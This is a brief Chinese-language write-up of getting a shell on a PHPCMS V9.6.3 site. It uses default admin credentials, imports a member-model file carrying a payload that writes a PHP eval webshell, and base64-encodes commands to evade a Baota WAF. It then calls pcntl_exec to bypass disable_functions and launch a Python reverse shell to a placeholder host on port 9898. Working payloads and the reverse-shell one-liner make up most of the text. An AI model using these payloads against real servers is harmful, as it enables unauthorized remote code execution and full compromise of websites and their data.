PHPCMS V9.6.3 getshell小记
http://xx.xx.com/index.php?m=admin 进入后台登录界面,弱口令phpcms/phpcms成功登录后台
先将如下payload保存至txt文本中
array(1);$b=file_put_contents("phpcms_shell3.php",'<?php eval($_REQUEST[1]);?>');
在用户 > 会员模型管理 > 管理会员模型 >中点击"添加会员模型":
导入模型添加刚刚创建的txt文本
上传后服务器会报错,但此时已生成phpcm_shell3.php脚本
尝试连接webshell发现连接失败
后发现此站点存在宝塔waf
但在写入文件时并没有对文件内容进行,怀疑waf只对传递参数进行判断
重新写入shell,尝试将命令采用base64编码格式进行传递
成功获得代码执行权限
发现disable_functions禁用大部分命令执行函数
尝试pcntl_exec突破disable_functions函数限制
将如下代码进行base64编码
pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("x.x.x.x",9898));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));
执行代码(虽然服务器返回404,但是命令已执行成功)
反弹shell成功
参考链接:https://zhuanlan.zhihu.com/p/60027711(phpcms后台几处getshell)
https://mp.weixin.qq.com/s/xX0Y9KA_LC7dy0zxCDBMJA(waf绕过及disable_functions函数绕过)